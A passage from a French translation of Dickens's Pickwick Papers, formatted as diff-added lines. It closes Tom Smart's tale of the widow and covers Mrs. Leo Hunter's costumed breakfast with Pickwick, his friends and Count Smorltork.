+Tandis que Tom parlait ainsi, ses yeux s'égaraient involontairement du
+visage de la veuve sur les objets confortables qui l'environnaient.
+
+La veuve eut l'air plus embarrassé que jamais; elle fit un mouvement
+pour se lever; mais Tom pressa doucement sa main comme pour la retenir
+et elle resta sur son siége. Les veuves, messieurs, sont rarement
+craintives, comme disait mon oncle.
+
+«Vraiment, monsieur, je vous suis bien obligée, de votre bonne opinion,
+dit-elle en riant à moitié; et si jamais je me marie....
+
+--Si? interrompit Tom en la regardant très-malignement du coin droit de
+son oeil gauche.
+
+--Eh bien! _quand_ je me marierai, j'espère que j'aurai un aussi bon
+mari que vous le dites.
+
+--C'est-à-dire Jinkins?
+
+--Seigneur! monsieur!
+
+--Allons! ne m'en parlez point, je le connais....
+
+--Je suis sûre que ceux qui le connaissent ne connaissent pas de mal de
+lui, reprit la dame un peu piquée par l'air mystérieux du voyageur.
+
+--Hum!» fit Tom.
+
+La veuve commença à croire qu'il était temps de pleurer. Elle tira donc
+son mouchoir et elle demanda si Tom voulait l'insulter; s'il croyait que
+c'était l'action d'un gentleman de dire du mal d'un autre gentleman, en
+arrière; pourquoi, s'il avait quelque chose à dire, il ne l'avait pas
+dit à son homme, comme un homme, au lieu d'effrayer une pauvre faible
+femme de cette manière, etc., etc.
+
+«Je ne tarderai pas à lui dire deux mots à lui-même, répondit Tom.
+Seulement je désire que vous m'entendiez auparavant.
+
+--Eh bien! dites, demanda la veuve en le regardant avec attention.
+
+--Je vais vous étonner, répliqua-t-il, en mettant la main dans sa poche.
+
+--Si c'est qu'il n'a pas d'argent, je sais cela déjà et ce n'est pas la
+peine de vous déranger.
+
+--Pouh! cela n'est rien. _Moi non plus_, je n'ai point d'argent! Ce
+n'est pas ça.
+
+--Oh! mon Dieu! qu'est-ce que c'est donc? s'écria la pauvre femme.
+
+--Ne vous effrayez pas, reprit Tom en tirant la lettre. Et ne criez pas:
+poursuivit-il en dépliant lentement le papier.
+
+--Non! non! laissez-moi voir.
+
+--Vous n'allez pas vous trouver mal ni vous livrer à d'autres
+démonstrations de ce genre?
+
+--Non, je vous le promets.
+
+--Ni vous précipiter vers la salle commune pour lui dire son affaire?
+ajouta Tom; car, voyez-vous, je ferai tout ça pour vous: ce n'est donc
+pas la peine de vous agiter.
+
+--Allons, allons, fit la veuve, laissez-moi lire.
+
+--Voilà,» répliqua Tom Smart, qui plaça la lettre dans les mains de la
+veuve.
+
+Les lamentations de la pauvre femme, quand elle en eut pris lecture,
+auraient percé un coeur de pierre. Tom avait toujours eu le coeur
+très-tendre, aussi fut-il percé de part en part. La veuve se roulait sur
+sa chaise en se tordant les mains.
+
+«Oh! la trahison! oh! la scélératesse des hommes! s'écriait-elle.
+
+--Effroyables, ma chère dame; mais calmez-vous.
+
+--Non! Je ne veux pas me calmer! sanglotait la veuve. Je ne trouverai
+jamais personne que je puisse aimer comme lui.
+
+--Si, si, oh! si, ma chère dame!» s'écria Tom Smart en laissant tomber
+une pluie d'énormes larmes sur les infortunes de la veuve. Il avait
+passé un bras autour de sa taille, dans l'énergie de sa compassion; et
+la veuve, dans son transport de chagrin, avait serré la main de Tom.
+Elle regarda le visage du voyageur et elle sourit à travers ses larmes:
+Tom se pencha vers elle, il contempla ses traits, et il sourit aussi à
+travers ses pleurs.
+
+Je n'ai jamais pu découvrir si Tom embrassa la veuve dans ce moment-là.
+Il disait souvent à mon oncle qu'il n'en avait rien fait, mais j'ai des
+doutes là-dessus. Entre nous, messieurs, je m'imagine qu'il l'embrassa.
+
+Quoi qu'il en soit, Tom jeta le grand homme à la porte, et il épousa la
+veuve dans le mois. On le voyait souvent se promener aux environs avec
+sa jument capricieuse, qui traînait lestement la carriole grise aux
+roues écarlates. Après beaucoup d'années il se retira des affaires et
+s'en alla en France avec sa femme. L'antique maison fut alors abattue.
+
+Un vieux gentleman curieux prit la parole après le commis voyageur.
+
+«Voulez-vous me permettre, lui dit-il, de vous demander ce que devint le
+fauteuil?
+
+--On remarqua qu'il craquait beaucoup le jour de la noce, mais Tom Smart
+ne pouvait pas dire positivement si c'était de plaisir ou par suite de
+souffrances corporelles. Cependant il pensait plutôt que c'était pour la
+dernière cause, car il ne l'entendit plus parler depuis.
+
+--Et tout le monde crut cette histoire-là, hein? demanda le visage
+culotté en remplissant sa pipe.
+
+--Tout le monde, excepté les ennemis de Tom. Ceux-ci disaient que
+c'était une _blague_. D'autres prétendirent qu'il était gris, qu'il
+avait rêvé tout cela et qu'il s'était trompé de culotte. Mais personne
+ne s'arrêta à ce qu'ils disaient.
+
+--Tom Smart soutint que tout était vrai?
+
+--Chaque mot.
+
+--Et votre oncle?
+
+--Chaque lettre.
+
+--Ça devait faire deux jolis gaillards tous les deux.
+
+--Oui, deux fameux gaillards, répondit le commis voyageur. Deux fameux
+gaillards, véritablement.»
+
+
+
+
+CHAPITRE XV.
+
+Dans lequel se trouva un portrait fidèle de deux personnes distinguées,
+et une description exacte d'un grand déjeuner qui eut lieu dans leur
+maison et domaine. Ledit déjeuner amène la rencontre d'une vieille
+connaissance, et le commencement d'un autre chapitre.
+
+
+La conscience de M. Pickwick lui reprochait d'avoir un peu négligé ses
+amis du _Paon d'argent_, et dans la matinée du troisième jour après
+l'élection, il allait sortir pour les visiter, lorsque son fidèle
+domestique remit entre ses mains une carte de visite, sur laquelle était
+gravée l'inscription suivante, en lettres gothiques.
+
+     MADAME CHASSE-LION.
+
+     _La Caverne. Eatanswill._
+
+--La personne attend, dit Sam.
+
+--C'est bien moi qu'elle demande?
+
+--C'est vous particulièrement et sans remplacement, comme dit le
+secrétaire privé du diable quand il vint emporter le docteur Faust.
+C'est bien vous qu'il demande.
+
+--_Il?_ c'est donc un gentleman?
+
+--Si ça n'en est pas un, c'en est une imitation soignée.
+
+--Mais c'est la carte d'une dame.
+
+--Je l'ai reçue d'un monsieur, malgré ça. Il attend dans le salon et il
+dit qu'il attendra toute la journée plutôt que de ne pas vous voir.»
+
+Ayant appris cette détermination, M. Pickwick descendit au parloir. Un
+homme grave y était assis. Il se leva promptement en voyant entrer notre
+philosophe, et dit avec un air de profond respect:
+
+«Monsieur Pickwick? je présume.
+
+--Oui, monsieur.
+
+--Permettez-moi, monsieur, d'avoir l'honneur de presser votre main.
+Permettez-moi de la secouer.
+
+--Avec plaisir,» répondit M. Pickwick.
+
+L'étranger secoua la main qui lui était offerte, et continua ainsi.
+
+«Monsieur la renommée nous a parlé de vous comme d'un savant antiquaire.
+Le bruit de vos découvertes a frappé l'oreille de Mme Chasselion, ma
+femme, monsieur; _moi_, je suis M. Chasselion.»
+
+Ici l'homme grave s'arrêta, comme s'il avait cru que M. Pickwick devait
+être étourdi par cette communication; mais voyant que le philosophe
+demeurait parfaitement calme, il poursuivit en ces termes:
+
+--Ma femme, monsieur, mistress Chasselion, est fière de compter parmi
+ses connaissances tous ceux qui se sont illustrés par leurs ouvrages et
+par leurs talents. Permettez-moi, monsieur, de placer dans cette liste
+le nom de M. Pickwick, et celui de ses confrères du club qu'il a fondé.
+
+--Je serai très-heureux, monsieur, de faire la connaissance d'une dame
+aussi distinguée.
+
+--Vous la ferez, monsieur. Demain matin, nous donnons un grand déjeuner,
+une fête champêtre, à un nombre considérable de ceux qui se sont rendus
+célèbres par leurs ouvrages et par leurs talents. Accordez à Mme
+Chasselion la satisfaction de vous voir à la Caverne.
+
+--Avec grand plaisir.
+
+--Mme Chasselion donne beaucoup de ces déjeuners, monsieur; _galas de la
+raison, effluves de l'âme_[21], comme l'observe avec un sentiment plein
+d'originalité quelqu'un qui a adressé un sonnet à Mme Chasselion, sur
+ces déjeuners.
+
+[Footnote 21: _Feast of reason, flow of soul_ est une citation de je ne
+sais quel poëte, devenue proverbiale pour se moquer des réunions où il
+n'y a rien à boire ni à manger.]
+
+--Était-il célèbre par ses ouvrages et par ses talents? demanda M.
+Pickwick.
+
+--Certainement, monsieur. Toutes les connaissances de Mme Chasselion
+sont célèbres: c'est son ambition, monsieur, de n'avoir pas d'autres
+connaissances.
+
+--C'est une très-noble ambition.
+
+--Quand j'informerai Mme Chasselion que cette remarque est tombée de vos
+lèvres, monsieur, elle en sera fière, en vérité. Vous avez avec vous,
+monsieur, un gentleman qui, je crois, a produit quelques petits poëmes
+d'une grande beauté?
+
+--Mon ami, M. Snodgrass, a beaucoup de goût pour la poésie.
+
+--C'est comme Mme Chasselion, monsieur. Elle adore la poésie, monsieur;
+elle en est folle. Je puis dire que toute son âme et tout son esprit
+sont pétris de poésie. Elle-même a produit quelques pièces délicieuses,
+monsieur. Vous pouvez avoir rencontré son ode _A une grenouille
+expirante_.
+
+--Je ne le crois pas.
+
+--Vous m'étonnez. Elle a fait une immense sensation. Elle a paru
+originairement dans le _Magasin des dames_, et était signée d'un _C_ et
+de neuf étoiles. Elle commençait ainsi:
+
+    Puis-je te voir sanglante et pantelante,
+    Sur ton ventre, sans soupirer?
+    Puis-je sans pleurs te contempler mourante,
+    Sur un rocher,
+    Grenouille expirante?
+
+--Charmant! s'écria M. Pickwick.
+
+--Beau, dit l'homme grave. Si simple!
+
+--Sublime!
+
+--La strophe suivante est plus touchante encore. Voulez-vous que je la
+répète?
+
+--S'il vous plaît.
+
+--- La voici, continua l'homme grave, d'un ton encore plus grave.
+
+    Dis-moi si des démons avec leur voix hurlante,
+    Sous la figure de gamins,
+    Loin des marais t'auraient chassée, errante,
+    Avec des chiens,
+    Grenouille expirante!
+
+--Joliment exprimé, dit M. Pickwick.
+
+--C'est un diamant, monsieur. Mais vous entendrez Mme Chasselion vous
+réciter cette ode. _Elle_ seule peut la faire valoir. Demain matin,
+monsieur, elle la récitera en costume.
+
+--En costume!
+
+--Sous la figure de Minerve.... Mais j'oubliais... c'est un déjeuner
+costumé.
+
+--Eh! mais, eh mais! s'écria M. Pickwick, en jetant un coup d'oeil sur sa
+personne: Je ne puis vraiment pas me travestir.
+
+--Pourquoi pas, monsieur? pourquoi pas? Salomon Lucas, le juif, dans la
+grande rue, a mille habillements de fantaisie. Voyez, monsieur, combien
+de caractères convenables vous pouvez choisir: Platon, Zénon, Epicure,
+Pythagore, tous fondateurs de clubs.
+
+--Je le sais bien, mais comme je ne puis me comparer à ces grands
+hommes, je ne saurais me permettre de porter leur habit.»
+
+L'homme grave médita profondément, pendant quelques minutes, et dit
+ensuite.
+
+«En y réfléchissant, monsieur, je ne sais pas si Mme Chasselion ne sera
+pas charmée de faire voir à ses hôtes une personne de votre célébrité,
+dans le costume qui lui est habituel, plutôt que sous une enveloppe
+étrangère. Je crois pouvoir prendre sur moi de vous promettre, au nom de
+mistress Chasselion, qu'elle fera une exception en votre faveur. Oui,
+monsieur, je suis tout à fait certain que je puis me le permettre.
+
+--En ce cas, répondit M. Pickwick, j'aurai grand plaisir à me rendre à
+votre invitation.
+
+--Mais je vous fais perdre votre temps, monsieur, dit soudainement
+l'homme grave, d'un ton pénétré. J'en connais la valeur, monsieur, et je
+ne veux pas vous retenir plus longtemps. Je dirai donc à Mme Chasselion
+qu'elle peut vous attendre avec confiance, ainsi que vos illustres amis.
+Adieu monsieur. Je suis fier d'avoir vu un personnage aussi éminent. Pas
+un pas, monsieur; pas une parole.» Et sans donner à M. Pickwick le temps
+de lui répondre, M. Chasselion s'éloigna gravement.
+
+Le philosophe prit son chapeau et se rendit au _Paon d'argent_. M.
+Winkle y avait déjà parlé du bal déguisé.
+
+«Mme Pott y va, furent les premières paroles dont il salua son mentor.
+
+--Ah! ah! fit M. Pickwick.
+
+--Sous la figure d'Apollon. Seulement Pott s'oppose à la tunique.
+
+--Il a raison! il a parfaitement raison! dit le savant homme avec
+emphase.
+
+--Oui; aussi elle portera une robe de satin blanc, avec des paillettes
+d'or.
+
+--N'aura-t-on pas de la peine à reconnaître son personnage? demanda M.
+Snodgrass.
+
+--Par exemple! riposta M. Winkle avec indignation. Est-ce qu'on ne verra
+pas sa lyre?
+
+--C'est vrai: je n'avais pas pensé à la lyre.
+
+--Et moi, dit alors M. Tupman, j'irai en bandit.
+
+--Quoi? s'écria M. Pickwick en faisant un soubresaut.
+
+--En bandit, répéta M. Tupman avec douceur.
+
+--Vous ne prétendez pas, répliqua M. Pickwick, en examinant son ami avec
+une sévérité solennelle, vous ne prétendez pas, monsieur Tupman, que
+c'est votre intention de porter une veste de velours vert avec des pans
+longs de deux doigts?
+
+--C'est pourtant mon intention, monsieur, répondit avec chaleur M.
+Tupman; et pourquoi pas s'il vous plaît?
+
+--Parce que, dit M. Pickwick, considérablement excité, parce que vous
+êtes trop vieux, monsieur!
+
+--Trop vieux! s'écria M. Tupman.
+
+--Et s'il est besoin d'une autre raison, parce que vous êtes trop gras,
+monsieur!...»
+
+La figure de M. Tupman devint pourpre.
+
+«Monsieur! cria-t-il, ceci est une insulte....
+
+--Monsieur! répliqua M. Pickwick, sur le même ton, si vous paraissiez
+devant moi avec une veste de velours vert et des pans longs de deux
+doigts, ce serait pour moi une insulte beaucoup plus grave.
+
+--Monsieur! vous êtes un impertinent!
+
+--Monsieur! vous en êtes un autre!»
+
+M. Tupman s'avança d'un pas ou deux et jeta à M. Pickwick un regard de
+défi. M. Pickwick lui renvoya un regard semblable, concentré en un foyer
+dévorant par le moyen de ses lunettes. M. Snodgrass et M. Winkle
+demeuraient immobiles, pétrifiés de voir une telle scène entre de tels
+hommes.
+
+Après une courte pause, M. Tupman reprit sur un ton plus bas, mais
+profondément accentué: «Vous m'avez appelé vieux monsieur!
+
+--Oui.
+
+--Et gras.
+
+--Je le répète.
+
+--Et impertinent.
+
+--C'est vrai.»
+
+Il y eut un instant de silence épouvantable.
+
+«Mon attachement à votre personne, monsieur, repartit M. Tupman, en
+parlant d'une voix tremblante d'émotion, et en relevant en même temps
+ses manchettes; mon attachement à votre personne est grand, très-grand;
+mais il faut que je prenne sur cette même personne une vengeance
+sommaire.
+
+--Avancez, monsieur,» répliqua M. Pickwick.
+
+Stimulé par la nature excitante de ce dialogue, l'homme immortel prit
+immédiatement une attitude de paralytique, persuadé sans aucun doute,
+comme le supposèrent les deux témoins de cette scène, que c'était une
+posture défensive.
+
+Heureusement que M. Snodgrass se précipita entre les deux combattants,
+au hasard imminent de recevoir sur les tempes un coup de poing de chacun
+d'eux.
+
+«Quoi! s'écria-t-il, recouvrant tout à coup le don de la parole, que
+l'excès de son étonnement lui avait ravi jusqu'alors. Quoi! monsieur
+Pickwick, vous! sur qui les yeux de l'univers sont attachés! Monsieur
+Tupman! vous qui êtes illuminé, comme nous tous, par l'éclat divin de
+son nom! Quelle honte, messieurs, quelle honte!»
+
+De même que les traces de la mine de plomb cèdent à la douce influence
+de la gomme élastique, de même les sillons inaccoutumés imprimés par une
+colère passagère sur le front lisse et ouvert de M. Pickwick,
+s'effacèrent graduellement pendant le discours de son jeune ami.
+Celui-ci parlait encore, et déjà la physionomie du philosophe avait
+repris son expression habituelle de bénignité.
+
+«J'ai été trop vif, dit M. Pickwick: beaucoup trop vif. Tupman, votre
+main.»
+
+Un nuage sombre qui couvrait la figure de M. Tupman se dissipa à ces
+mots, et il pressa chaleureusement la main de son ami en répondant: J'ai
+été trop vif aussi.»
+
+--Non, non, reprit précipitamment M. Pickwick, c'est moi qui ai tort:
+vous mettrez la veste de velours vert.
+
+--Pas du tout, pas du tout.
+
+--Pour m'obliger, vous la mettrez....
+
+--Eh! bien, eh! bien, je la mettrai donc.»
+
+Il fut en conséquence décidé que M. Tupman, M. Winkle et M. Snodgrass
+porteraient des costumes de fantaisie, et c'est ainsi que M. Pickwick
+fut entraîné, par la chaleur de ses sentiments, à approuver une conduite
+dont son excellent jugement l'eût détourné. On ne pourrait trouver une
+preuve plus frappante de son aimable caractère, quand même les
+événements racontés dans ce volume seraient entièrement le produit de
+l'imagination.
+
+M. Chasselion n'avait pas exagéré les ressources de M. Salomon Lucas.
+Ses costumes étaient nombreux, innombrables: non pas strictement
+classiques, peut-être; pas entièrement neufs, et ne représentant
+précisément les modes d'aucun âge ni d'aucun pays; mais ils étaient tous
+plus ou moins pailletés; et qu'y a-t-il de plus joli que des paillettes?
+On peut objecter qu'elles ne font point d'effet à la clarté du soleil;
+mais tout le monde sait qu'elles étincelleraient s'il y avait des
+bougies; or, quand on veut donner des bals déguisés pendant le jour, si
+les costumes ne brillent pas comme ils auraient brillé à la lumière, la
+faute n'en est nullement au paillettes, elle est entièrement aux gens
+qui donnent des bals dans la matinée. Tels furent les raisonnements
+convaincants de M. Salomon Lucas, et sous leur influence, MM. Tupman,
+Winkle et Snodgrass s'engagèrent à porter les déguisements que son goût
+et son expérience lui firent recommander comme admirablement appropriés
+à l'occasion.
+
+Une calèche fut louée par les pickwickiens, dans leur hôtel: un coupé,
+tiré du même endroit, devait transporter M. et Mme Pott sur le domaine
+de Mme Chasselion. Comme un remerciement délicat de l'invitation qu'il
+avait reçue, M. Pott avait déjà prédit avec confiance, dans la _Gazette
+d'Eatanswill_, que la Caverne offrirait une scène d'enchantement aussi
+variée que délicieuse, un éblouissant foyer de beautés et de talents, un
+spectacle touchant d'hospitalité abondante et prodigue, et surtout un
+degré de splendeur, adouci par le goût le plus délicieux; un luxe
+embelli par une parfaite harmonie et par le plus exquis bon ton, et
+auprès duquel les merveilles fabuleuses des _Mille et une Nuits_
+paraîtraient revêtues de couleurs aussi lugubres et aussi sombres que
+doit l'être l'esprit de l'être atrabilaire et grossier qui oserait
+souiller du venin de l'envie les préparatifs faits par l'illustre et
+vertueuse dame, à l'autel de laquelle est offert cet humble tribut
+d'admiration. Cette dernière phrase était un mordant sarcasme dirigé
+contre l'_Indépendant_, qui n'ayant pas été invité à la fête, avait
+affecté, dans ses quatre derniers numéros, de la tourner en ridicule; et
+qui avait imprimé ses plaisanteries à ce sujet avec ses plus gros
+caractères, en écrivant, qui pis est, tous les adjectifs en lettres
+majuscules.
+
+Le matin arriva. C'était un séduisant spectacle de voir M. Tupman, en
+costume complet de brigand, avec une veste tellement serrée qu'elle en
+était plissée sur son dos et sur ses épaules. La portion supérieure de
+ses jambes se trouvait comprimée dans une culotte de velours, et la
+partie inférieure était enlacée dans les bandages compliqués, pour
+lesquels tous les brigands ont un attachement si inconcevable. C'était
+plaisir de voir ses moustaches retroussées et son col de chemise ouvert,
+d'où sortait un visage plus ouvert encore; c'était plaisir de contempler
+son chapeau en pain de sucre décoré de rubans de toutes couleurs, et que
+le brigand était obligé de porter sur ses genoux, car nul mortel ne
+saurait mettre un semblable chapeau sur sa tête, dans une voiture
+fermée. L'apparence de M. Snodgrass était également agréable et
+réjouissante: il avait des chausses de satin bleu, des souliers de satin
+et de soie; sa tête était ombragée d'un casque grec; et, comme tout le
+monde le sait, comme l'affirmait M. Salomon Lucas, il possédait ainsi le
+costume journalier, authentique, des troubadours, depuis les temps les
+plus reculés jusqu'à l'époque où ils disparurent finalement de la
+surface de la terre.
+
+La calèche qui transportait le brigand et le troubadour s'arrêta
+derrière le coupé de M. Pott, lequel coupé lui-même s'était arrêté à la
+porte de M. Pott, laquelle porte s'ouvrit, et parmi les cris de la
+populace laissa voir le grand journaliste, accoutré comme un officier
+de justice russe, et tenant dans sa main un terrible knout, symbole
+élégant du redoutable pouvoir que possédait la _Gazette d'Eatanswill_,
+et des flagellations effrayantes qu'elle infligeait aux coupables
+politiques.
+
+«Bravo! s'écrièrent M. Tupman et M. Snodgrass en voyant cette allégorie
+marchante.
+
+--Bravo! répéta la voix de M. Pickwick du fond du couloir.
+
+--Hou! hou! Pott! ohé! Pott!» beugla la populace.
+
+Pendant ces salutations, l'éditeur montait dans le coupé, tout en
+souriant avec une sorte de dignité gracieuse, qui témoignait
+suffisamment qu'il sentait son pouvoir et savait comment l'exercer.
+
+Après lui on vit sortir de la maison Mme Pott, qui aurait parfaitement
+ressemblé à Apollon, si elle n'avait pas eu de robe. Elle était conduite
+par M. Winkle, et celui-ci, avec son petit habit rouge, se serait fait
+nécessairement reconnaître pour un chasseur, s'il n'avait point
+également ressemblé à un facteur de Londres. Enfin parut M. Pickwick, et
+il fut applaudi par les gamins, aussi bruyamment que les autres,
+probablement parce que sa culotte et ses guêtres passaient à leurs yeux
+pour quelque reste de l'antiquité.
+
+Les deux voitures se dirigèrent ensemble vers la demeure de Mme
+Chasselion: celle qui contenait M. Pickwick, portait aussi sur le siége
+Sam Weller, qui devait aider au service.
+
+Tous les individus, hommes et femmes, garçons et filles, bambins et
+vieillards, qui étaient assemblés pour voir les visiteurs dans leurs
+costumes, se pâmèrent de délice quand ils aperçurent M. Pickwick donnant
+le bras d'un côté au brigand, de l'autre au troubadour: mais lorsque M.
+Tupman, pour faire son entrée dans le bon style, s'efforça de fixer sur
+sa tête son chapeau pointu, des cris tumultueux s'élevèrent, tels qu'on
+n'en avait jamais entendu auparavant.
+
+Les immenses et somptueux préparatifs de la fête réalisaient
+complétement les prophétiques louanges de Pott, _sur les merveilles
+fabuleuses des Mille et une Nuits_, et contredisaient, du même coup, les
+insinuations perfides du venimeux _Indépendant_. Le jardin, qui avait
+plus d'une acre d'étendue, était rempli de monde. Jamais on n'avait vu
+un tel foyer de beauté, d'élégance et de littérature. La jeune lady, qui
+_faisait_ la poésie dans la _Gazette d'Eatanswill_, s'était revêtue ou
+plutôt dévêtue d'un costume d'odalisque. Elle s'appuyait sur le bras du
+jeune gentleman, qui _faisait_ la critique, et qui portait fort
+convenablement un uniforme de feld-maréchal, moins les bottes. Il y
+avait une armée de génies de la même force, et toute personne
+raisonnable aurait regardé comme un honneur suffisant de se rencontrer
+là avec eux; mais il y avait mieux encore, il y avait une demi-douzaine
+de _lions_ de Londres,--des auteurs, des auteurs réels, qui avaient
+écrit des livres tout entiers, et qui les avaient fait imprimer. On
+pouvait les voir, marchant comme des hommes ordinaires, souriant,
+parlant, oui, et disant même pas mal de sottises, sans doute dans
+l'intention bénigne de se rendre intelligibles aux gens vulgaires qui
+les entouraient. Il y avait en outre une bande de musiciens en chapeaux
+de carton doré; quatre chanteurs, soi-disant italiens, dans leur costume
+national, et une douzaine de domestiques de louage, aussi dans leur
+costume national, costume fort mal propre, par parenthèse. Enfin, et
+par-dessus tout, il y avait Mme Chasselion, en Minerve, recevant la
+compagnie, et laissant déborder l'orgueil et le plaisir qu'elle
+éprouvait à voir rassemblés autour d'elle tant d'individus distingués.
+
+«M. Pickwick, madame,» dit un domestique; et cet illustre personnage
+s'approcha de la divinité présidente, ayant ses deux bras passés dans
+ceux du brigand et du troubadour, et tenant son chapeau à sa main.
+
+«Quoi! où? s'écria Mme Chasselion, en tressaillant avec un ravissement
+immense.
+
+--Ici, madame, dit M. Pickwick d'une voix douce.
+
+--Est-il possible que j'aie réellement la satisfaction de voir M.
+Pickwick lui-même!!!
+
+--En personne, madame, répliqua le philosophe, en saluant très-bas.
+Permettez-moi de présenter mes amis, M. Tupman, M. Winkle, M. Snodgrass,
+à l'auteur de _la Grenouille expirante_.»
+
+Peu de personnes, à moins de l'avoir essayé savent combien il est
+difficile de saluer avec d'étroites culottes de velours vert, une veste
+serrée et un chapeau en pain de sucre; ou bien avec un justaucorps de
+satin bleu et des bas de soie, où bien avec des jarretières et des
+bottes à la russe; surtout quand toutes ces choses n'ont point été
+faites pour celui qui les porte, et ont été fixées sur lui sans la plus
+légère attention aux dimensions respectives de l'habillement et de
+l'habillé. Jamais on ne vit de contorsions semblables à celles que
+faisait M. Tupman pour paraître à son aise et gracieux; jamais on ne vit
+de postures aussi ingénieuses que celles de ses compagnons de
+déguisement.
+
+«Monsieur Pickwick, dit Mme Chasselion, il faut que vous me promettiez
+de rester auprès de moi durant toute la journée. Il y a ici des
+centaines de personnes que je dois absolument vous présenter.
+
+--Vous êtes bien bonne, madame, répondit M. Pickwick.
+
+--En premier lieu voici mes fillettes; je les avais presque oubliées,»
+dit Minerve, en montrant d'un air négligent deux demoiselles
+parfaitement développées, qui pouvaient avoir de vingt à vingt-deux ans,
+et qui portaient l'une et l'autre des costumes enfantins. Était-ce pour
+les faire paraître plus modestes, où pour faire paraître leur maman plus
+jeune? M. Pickwick ne nous en informe pas clairement.
+
+«Elles sont charmantes, dit M. Pickwick, lorsque ces aimables enfants se
+retirèrent, après lui avoir été présentées.
+
+--Monsieur, répliqua M. Pott avec un air de majesté, c'est qu'elles
+ressemblent comme deux gouttes d'eau à leur maman.
+
+--Taisez-vous, méchant homme! s'écria gaiement Mme Chasselion, en
+frappant de l'éventail le bras de l'éditeur. (Minerve avec un éventail!)
+
+--Certainement, ma chère madame Chasselion, reprit M. Pott, qui était le
+trompette attitré de la Caverne. Vous savez bien que l'année dernière,
+quand votre portrait était à l'exposition, tout le monde demandait si
+c'était le vôtre ou celui de votre plus jeune fille; car vous vous
+ressembliez tant qu'il n'y avait pas moyen de faire la différence.
+
+--Eh bien! quand cela serait, qu'est-ce que vous avez besoin de le
+répéter devant des étrangers? répliqua Minerve en accordant un autre
+coup d'éventail au lion endormi de _la Gazette d'Eatanswill_.
+
+--Comte! comte! cria tout à coup Mme Chasselion à un individu qui
+passait à portée de sa voix, et qui avait un uniforme étranger, surmonté
+d'énormes moustaches.
+
+--Ah! fous fouloir te moi, dit le comte en se retournant.
+
+--Je veux présenter l'un à l'autre deux hommes fort spirituels. Monsieur
+Pickwick, je suis heureuse de vous présenter le comte Smorltork.» Mme
+Chasselion ajouta à l'oreille du philosophe: «Le fameux étranger qui
+rassemble des matériaux pour son ouvrage sur l'Angleterre, vous
+savez?--Le comte Smorltork, monsieur Pickwick.»
+
+M. Pickwick salua le comte avec toute la révérence due à un si grand
+homme, et le comte tira ses tablettes.
+
+«Comment fous tire, madame Châsse-long? demanda le comte en souriant
+gracieusement à la dame enchantée. Monsieur Pigwig, hé? ou Bigwig...
+un... avocat, n'est-ce pas? Je vois, c'est ça, j'inscris monsieur
+Bigwig[22].»
+
+[Footnote 22: _Big-wig_, grosse perruque, sobriquet par lequel on
+désigne les avocats.]
+
+Le comte allait enregistrer M. Pickwick sur ses tablettes comme un
+gentleman qui se chargeait de faire les affaires des autres, et dont le
+nom était dérivé de sa profession, lorsque Mme Chasselion l'arrêta en
+disant:
+
+«Non, non! comte. Pick-wick.
+
+--Ha! ha! je vois. Pique, nom de baptême; Figue, nom de famille.
+Très-fort bien, très-fort bien. Comment portez-fous, Figue?
+
+--Très-bien, je vous remercie, répondit M. Pickwick, avec son affabilité
+accoutumée. Y a-t-il longtemps que vous êtes en Angleterre?
+
+--Long, très-fort longtemps. Quinzaine... plus....
+
+--Resterez-vous encore longtemps?
+
+--Ein semaine.
+
+--Vous avez beaucoup à faire, poursuivit M. Pickwick en souriant, pour
+rassembler en aussi peu de temps tous les matériaux dont vous avez
+besoin.
+
+--Eh! elles sont rassembler, dit le comte.
+
+--En vérité! s'écria M. Pickwick.
+
+--Elles sont là, ajouta le comte en se frappant le front d'un air
+significatif. Dans mon patrie... fort livre... comblé de notes...
+mousique, science, poésie, politique, tout....
+
+--Le mot _politique_, monsieur, comprend en soi-même une étude difficile
+et d'une immense étendue.
+
+--Ah! s'écria le comte en tirant ses tablettes; très-fort bon! Beaux
+paroles pour commencer une capitle. Capitle sept et quarante: _Le mot
+politique surprend_ en soi-même....» Et la remarque de M. Pickwick fut
+notée dans les tablettes du comte Smorltork, avec les additions et
+variantes occasionnées par son imagination ardente et sa connaissance
+imparfaite de la langue.
+
+«Comte! dit Mme Chasselion.
+
+--Madame Châsse? répondit le comte.
+
+--Voici M. Snodgrass, un ami de M. Pickwick, et un poëte.
+
+--Attendez! s'écria le comte en tirant ses tablettes sur nouveaux
+frais. Lifre, poisie; capitle, amis littéraires; nom, l'Homme-grasse.
+Très-fort bien. Présenté à l'Homme-grasse, ami de Pique-Figue, par
+madame Châsse, qui d'autres délicats poimes a produits. Comment
+s'appelle? Grenouille.... Grenouille soupirante. Très-fort bien.» Et le
+comte referma ses tablettes, fit mille révérences, mille remercîments,
+et s'éloigna, persuadé qu'il venait d'ajouter à ses connaissances sur
+l'Angleterre, les plus importantes et les plus utiles observations.
+
+«C'est un homme bien étonnant! s'écria Minerve.
+
+--Un philosophe profond! ajouta Pott.
+
+--Un esprit fort et pénétrant!» continua M. Snodgrass.
+
+Un choeur d'invités relevèrent les louanges du comte Smorltork, en
+secouant gravement leur tête et en disant d'une voix unanime:
+«Étonnant!!!»
+
+Comme l'enthousiasme en faveur du comte Smorltork s'allumait de plus en
+plus, ses louanges auraient pu être célébrées jusqu'à la fin de la fête,
+si les quatre soi-disant chanteurs italiens, rangés autour d'un petit
+pommier, pour produire un effet pittoresque, ne s'étaient pas mis à
+dérouler leurs chansons nationales. Il faut avouer qu'elles ne
+paraissaient point d'une exécution bien difficile, et tout le secret
+semblait consister à ce que trois des soi-disant chanteurs italiens
+grognaient, tandis que le quatrième miaulait. Cet intéressant morceau
+étant terminé, aux applaudissements de toute la compagnie, un jeune
+garçon commença à se faufiler entre les bâtons d'une chaise, et à sauter
+par-dessus, et à ramper par-dessous, et à se culbuter avec, et à en
+faire toutes les choses imaginables, excepté de s'asseoir dessus.
+Ensuite il se fit une cravate de ses jambes et les attacha autour de son
+cou; puis il fit voir avec quelle facilité une créature humaine peut
+prendre l'apparence d'un crapaud. Les nombreux spectateurs étaient
+transportés de jouissance et d'admiration. Bientôt après on entendit
+gazouiller faiblement: c'était la voix de Mme Pott, et ses auditeurs
+pleins de courtoisie s'imaginèrent entendre une chanson parfaitement
+classique, une vraie chanson de caractère, car Apollon était un
+compositeur, et les compositeurs chantent très-rarement leurs propres
+oeuvres, et pas davantage celles d'autrui. Enfin Mme Chasselion s'avança
+et récita son ode immortelle à une Grenouille expirante. Des _bravo_,
+des _brava_, des _bravi_, des _encore_ se firent entendre; et elle la
+récita une seconde fois. Elle allait la réciter une troisième, mais la
+majorité de ses hôtes, pensant qu'il était bien temps de manger quelque
+chose, s'écrièrent que c'était une honte d'abuser de la complaisance de
